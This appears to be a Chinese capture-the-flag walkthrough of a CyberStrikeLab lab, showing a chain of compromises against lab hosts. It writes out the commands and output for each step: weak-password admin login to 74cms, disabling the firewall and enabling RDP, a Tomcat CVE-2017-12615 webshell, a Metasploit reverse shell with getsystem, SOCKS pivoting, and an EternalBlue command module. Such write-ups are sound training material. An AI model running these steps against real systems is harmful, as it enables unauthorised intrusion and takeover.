Lab2

https://www.cyberstrikelab.com/#/scene/detail/21

192.168.10.10

Recon

端口扫描

➜  Lab2 nmap -sT -min-rate 5000 -p- 192.168.10.10                                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 18:36 CST
Nmap scan report for 192.168.10.10
Host is up (0.053s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
808/tcp   open  ccproxy-http
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds

808 是 web 服务

➜  Lab2 nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 18:37 CST
Stats: 0:02:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.86% done; ETC: 18:40 (0:00:10 remaining)
Nmap scan report for 192.168.10.10
Host is up (0.054s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
808/tcp   open  http          Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
|_http-title: \xE9\xAA\x91\xE5\xA3\xABPHP\xE9\xAB\x98\xE7\xAB\xAF\xE4\xBA\xBA\xE6\x89\x8D\xE7\xB3\xBB\xE7\xBB\x9F(www.74cms.com)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
3306/tcp  open  mysql         MySQL (unauthorized)
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 21H2 (97%), Microsoft Windows 10 (93%), Microsoft Windows Longhorn (93%), Microsoft Windows 10 21H1 (92%), Microsoft Windows 10 1903 (92%), Microsoft Windows 10 21H2 (92%), Microsoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows 10 1803 (91%), Microsoft Windows 8 (91%), Microsoft Windows 10 Education Edition 1909 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-08-12T02:40:41
|_  start_date: N/A
|_clock-skew: -8h00m00s

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   53.19 ms 172.16.233.1
2   53.32 ms 192.168.10.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.60 seconds

骑士 CMS

访问 808 端口

在页尾中能找到 Powered by 74cms v4.2.111

通过搜寻，存在后台 getshell

先测试是否存在弱密码，后台页面：http://192.168.10.10:808/index.php?m=admin&c=index&a=login

通过弱密码 admin:admin123456 进入后台

利用链接：https://blog.csdn.net/m0_63253040/article/details/127041028

然后访问 /Application/Home/Conf/config.php

反弹 shell

上线 Vshell

首先将防火墙和远程桌面打开

PS C:\phpstudy_pro\WWW\Application\Home\Conf> REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

PS C:\phpstudy_pro\WWW\Application\Home\Conf> netsh advfirewall set allprofiles state off
Ok.

通过一键上线命令上线，传payload 也可以

信息收集

读取第一个 flag.txt

C:\>type flag.txt
go-flag{MP9E4xXhya0TlzVF}

IP 信息，很奇怪，为什么只有一个网络

C:\>ipconfig

Windows IP 配置

以太网适配器 以太网实例 0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::81d8:7722:88a0:5578%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.10.233

我么对网段段进行扫描，存在三台机子

➜  Lab2 nmap -sn 192.168.10.0/24                                                          
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 19:01 CST
Nmap scan report for 192.168.10.10
Host is up (0.056s latency).
Nmap scan report for 192.168.10.20
Host is up (0.058s latency).
Nmap scan report for 192.168.10.233
Host is up (0.061s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 7.37 seconds

Fscan 扫描一下

➜  fscan ./fscan_1.8.4 -h 192.168.10.1-255

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.10.10   is alive
(icmp) Target 192.168.10.20   is alive
(icmp) Target 192.168.10.233  is alive
[*] Icmp alive hosts len is: 3
192.168.10.10:139 open
192.168.10.20:135 open
192.168.10.10:3306 open
192.168.10.10:135 open
192.168.10.233:22 open
192.168.10.20:445 open
192.168.10.20:139 open
192.168.10.10:445 open
192.168.10.20:8080 open
192.168.10.10:7680 open
192.168.10.233:8080 open
192.168.10.10:808 open
192.168.10.20:8009 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]192.168.10.10
   [->]DESKTOP-JFB57A8
   [->]192.168.10.10
[*] WebTitle https://192.168.10.233:8080 code:404 len:19     title:None
[*] NetBios 192.168.10.20   cyberweb.cyberstrikelab.com         Windows Server 2012 R2 Standard 9600
[*] WebTitle http://192.168.10.20:8080 code:200 len:11432  title:Apache Tomcat/8.5.19
[*] WebTitle http://192.168.10.10:808  code:404 len:1331   title:系统发生错误
[+] PocScan http://192.168.10.20:8080 poc-yaml-iis-put-getshell 
[+] PocScan http://192.168.10.20:8080 poc-yaml-tomcat-cve-2017-12615-rce

192.168.10.20 扫描出来两个洞

192.168.10.20

cve-2017-12615

访问 8080 端口

之前在 Fscan 扫描出来 cve-2017-12615

https://www.cnblogs.com/confidant/p/15440233.html

连上冰蝎

提权

查看权限

C:/Program Files/Apache Software Foundation/Tomcat 8.5/ >whoami /all

用户信息
----------------

用户名                       SID     
============================ ========
nt authority\network service S-1-5-20

组信息
-----------------

组名                                   类型   SID          属性                          
====================================== ====== ============ ==============================
Mandatory Label\System Mandatory Level 标签   S-1-16-16384                               
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\SERVICE                   已知组 S-1-5-6      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组

特权信息
----------------------

特权名                        描述                 状态  
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌   已禁用
SeIncreaseQuotaPrivilege      为进程调整内存配额   已禁用
SeAuditPrivilege              生成安全审核         已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeImpersonatePrivilege        身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege       创建全局对象         已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用

可以打 SweetPotato ，但是不知道为什么打不上，这里上线 MSF 来打

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.233.2:4444 
[*] Sending stage (203846 bytes) to 192.168.10.20
[*] Meterpreter session 1 opened (172.16.233.2:4444 -> 192.168.10.20:49220) at 2025-08-12 20:22:41 +0800

meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

成功获得 system 权限

读第二个 flag

C:\>type flag.txt
go-flag{2a1AygwfTuccnNJY}

信息收集

还有二层内网

上线 Vshell ，直接弹即可

Fscan 扫描发现 192.168.20.30 存在永恒之蓝，要走代理打

可以直接在 Vshell 上进行代理

选择 192.168.10.20 然后点击隧道代理

Kali 连接即可

➜  Lab2 tail -n 1 /etc/proxychains4.conf
socks5  127.0.0.1       2131    admin   admin
➜  Lab2 proxychains curl 192.168.20.30:8080
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:2131  ...  192.168.20.30:8080  ...  OK
curl: (52) Empty reply from server

192.168.20.30

永恒之蓝

通过代理启动 MSF

➜  Lab2 proxychains -q msfconsole                                                                                                                                      
Metasploit tip: The use command supports fuzzy searching to try and 
select the intended module, e.g. use kerberos/get_ticket or use 
kerberos forge silver ticket
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v6.4.69-dev                          ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 432 post       ]
+ -- --=[ 1672 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

打 command 就好了，直接读 flag

msf6 > search ms17
msf6 > use 19
msf6 auxiliary(admin/smb/ms17_010_command) > set command "type C:\flag.txt"
command => type C:\flag.txt
msf6 auxiliary(admin/smb/ms17_010_command) > set rhost 192.168.20.30
rhost => 192.168.20.30

Cyberstrikelab - Lab2